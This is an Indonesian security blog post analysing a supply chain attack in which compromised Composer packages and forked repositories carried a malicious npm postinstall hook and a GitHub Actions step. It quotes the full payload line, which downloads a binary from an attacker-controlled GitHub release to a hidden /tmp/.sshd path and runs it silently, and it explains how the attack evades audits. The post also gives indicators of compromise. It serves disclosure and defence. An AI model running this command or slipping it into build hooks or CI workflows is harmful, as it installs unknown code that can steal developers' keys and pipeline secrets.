Initial Access: Anatomy Supply Chain Attack di Ekosistem Composer dan npm - Ethical Hacking Indonesia

Ethical Hacking Indonesia Mei 24, 2026

Ilustrate Github Repository

Telah ditemukan delapan package Composer mengandung postinstall hook berbahaya yang mengunduh dan mengeksekusi binary Linux tanpa verifikasi apapun selama proses instalasi. Payload identik di semua package, dikirim dari akun GitHub yang sama, dan ditulis bukan ke composer.json melainkan ke package.json yang membuat oayload bisa lolos dari mayoritas audit dependency berbasis Composer.

Ini terdeteksi oleh scanner Socket, yang kemudian menemukan jejak yang lebih luas: ratusan referensi di GitHub terhubung ke infrastruktur attacker yang sama, termasuk file GitHub Actions workflow di beberapa repository fork yang menjadikan CI/CD pipeline sebagai target eksekusi sekunder.

Payload

curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/ \ releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null \ && chmod +x /tmp/.sshd && /tmp/.sshd &

Flag -k menonaktifkan verifikasi sertifikat TLS artinya binary diterima tanpa validasi chain of trust apapun. Flag -s dan 2>/dev/null bersama-sama menekan semua output, sehingga tidak ada error yang terlihat oleh pengguna selama npm install berlangsung. Setelah binary ditulis ke /tmp/.sshd, dibuat executable dan langsung dijalankan di background via & yang memungkinkan proses installer selesai normal tanpa menunggu. 

.sshd merupakan nama yang dibuat dengan dot yang bertujuan untuk menyembunyikan file dari printah ls pada Linux yang bisa digunakan untuk melihat isi dari sebuah direktori. sementara nama sshd menyerupai SSH daemon yang legitimate. Engineer yang melihat proses ini di ps aux perlu melakukan double-check sebelum menganggapnya anomali. Nama binary yang diunduh, gvfsd-network, mengikuti pola yang sama gvfsd adalah nama daemon GNOME Virtual File System yang umum muncul di sistem Linux desktop.

Tidak ada hash check, tidak ada signature verification. Binary apapun yang disajikan dari URL tersebut akan dieksekusi. Karena payload sudah tidak tersedia saat peneliti Socket mencoba mengambilnya, tujuan akhir binary ini tidak bisa dikonfirmasi apakah RAT, miner, credential harvester, atau stage pertama dari multi-stage payload. Namun konteks eksekusinya sudah cukup mengindikasikan scope akses yang didapat: proses berjalan dengan privilege user yang menjalankan npm install, yang di mesin developer biasanya berarti akses ke SSH keys, cloud credentials, API tokens di environment variables, dan .npmrc yang menyimpan registry tokens.

Cross-Ecosystem Blind Spot: Mengapa package.json

Kedelapan package yang teridentifikasi adalah Composer packages dependency manager utamanya adalah composer.json. Tapi payload tidak disisipkan di sana. Attacker menempatkannya di package.json, sebuah keputusan yang memperlihatkan pemahaman terhadap cara kerja audit dependency di project PHP modern. PHP project kontemporer hampir selalu ship bersama JavaScript build tooling Vite, Laravel Mix, kompilasi Tailwind, atau Alpine.js bundling. package.json ada di repository yang sama, tapi secara konseptual diperlakukan sebagai "bagian lain" dari project. Ketika security review atau automated scanner berjalan dalam konteks Packagist, yang diperiksa adalah composer.json dan lockfile-nya. package.json ada di repository, tapi berada di luar scope audit Composer.

hal ini merupakan eksploitasi terhadap batas coverage tool. Dependency scanner yang tidak memahami repository lintas-ekosistem akan melewatkan ini secara sistematis.

Execution path bergantung pada posisi package di dalam project. Untuk starter kit seperti devdojo/wave dan devdojo/genesis, ketika developer men-clone repository, package.json langsung berada di root project. Setiap kali npm install dijalankan yang hampir pasti terjadi karena frontend tooling  postinstall hook langsung aktif. Ini adalah execution path paling pendek dan paling reliabel dalam attack chain ini. Untuk enam package lainnya yang berfungsi sebagai library, situasinya berbeda: package masuk ke vendor/, dan npm tidak menjalankan lifecycle scripts dari nested dependencies di luar root project. Hook hanya aktif jika developer secara eksplisit masuk ke direktori package dan menjalankan npm install secara terpisah.

Mekanisme Distribusi: Upstream GitHub ke Packagist

Packagist tidak meng-host source code secara langsung tapi meng-track upstream GitHub repositories dan merefleksikan branch state mereka sebagai package versions. Versi dev-main, dev-master, dan 3.x-dev adalah branch-tracking  bukan snapshot immutable, melainkan pointer ke HEAD dari branch yang bersangkutan. Ini adalah detail yang kritis untuk memahami bagaimana attack chain ini bekerja. Attacker melakukan commit langsung ke upstream GitHub repository (metode akses belum terkonfirmasi bisa credential stuffing, akun maintainer yang terkompromi, atau push langsung ke branch yang tidak dilindungi). Setelah commit masuk, Packagist pada saat sync berikutnya merefleksikan state tersebut sebagai versi terbaru. Developer yang menggunakan dev-master akan menerima artifact yang sudah terinfeksi tanpa ada peringatan apapun.

Upstream-Github

Ini berbeda dari typosquatting, di mana attacker mempublikasikan package baru dengan nama yang menyerupai package legitimate. Di sini, package yang sudah dipercaya dimodifikasi langsung. Developer yang pernah menggunakan package ini sebelumnya tidak memiliki sinyal bahwa ada yang berubah kecuali developer membandingkan commit history untuk melihat perbedaan atau perubahan yang tidak normal. Saat beberapa maintainer melakukan revert, Packagist juga merefleksikan perubahan itu. Namun karena sifat branch-tracking, versi dev-main setelah revert tetap mutable jika upstream repository kembali terkompromi, Packagist akan kembali merefleksikan state berbahaya pada sync berikutnya.

PackageVersiStatus Cleanup
moritz-sauer-13/silverstripe-cms-themedev-masterBelum direvert
crosiersource/crosierlib-basedev-masterBelum direvert
devdojo/wavedev-mainDirevert (5afe6da)
devdojo/genesisdev-mainDirevert (3be1f20)
katanaui/katanadev-mainDirevert (f679252)
elitedevsquad/sidecar-laravel3.x-devDirevert (b1f5c53)
r2luna/braindev-mainDirevert (421a1d5)
baskarcm/tzi-chat-uidev-mainBelum direvert

GitHub Actions sebagai Jalur Eksekusi Sekunder

Di beberapa repository publik termasuk fork 448776129/UA2F dan 448776129/blog-1 payload yang sama tidak disisipkan ke package.json melainkan ke file GitHub Actions workflow. Dalam ci.yml, payload ditambahkan sebagai step bernama Dependency Cache Sync.Jika hook dieksekusi di mesin developer saat npm install, payload di GitHub Actions dieksekusi di CI runner environment yang kemungkinan memiliki akses ke secrets, deployment tokens, GITHUB_TOKEN, atau dapat membuat artifacts yang didistribusikan ke downstream. Kedua jalur eksekusi menggunakan URL payload, drop path, dan background execution pattern yang identik, mengindikasikan infrastruktur yang sama.

github binary download

Indicators of Compromise

IndikatorNilai
GitHub Accountparikhpreyash4
Repositoryparikhpreyash4/systemd-network-helper-aa5c751f
Payload URLgithub.com/.../releases/latest/download/gvfsd-network
Drop Path/tmp/.sshd
Command Fragmentscurl -skL · chmod +x /tmp/.sshd · /tmp/.sshd &

Baca Juga Tentang: Undercover-NPM Git-Push Github-Abuse Composer

Benediktus Sava – Security Researcher

Sumber: Github Socket-Dev 

Share this

Add Comments


EmoticonEmoticon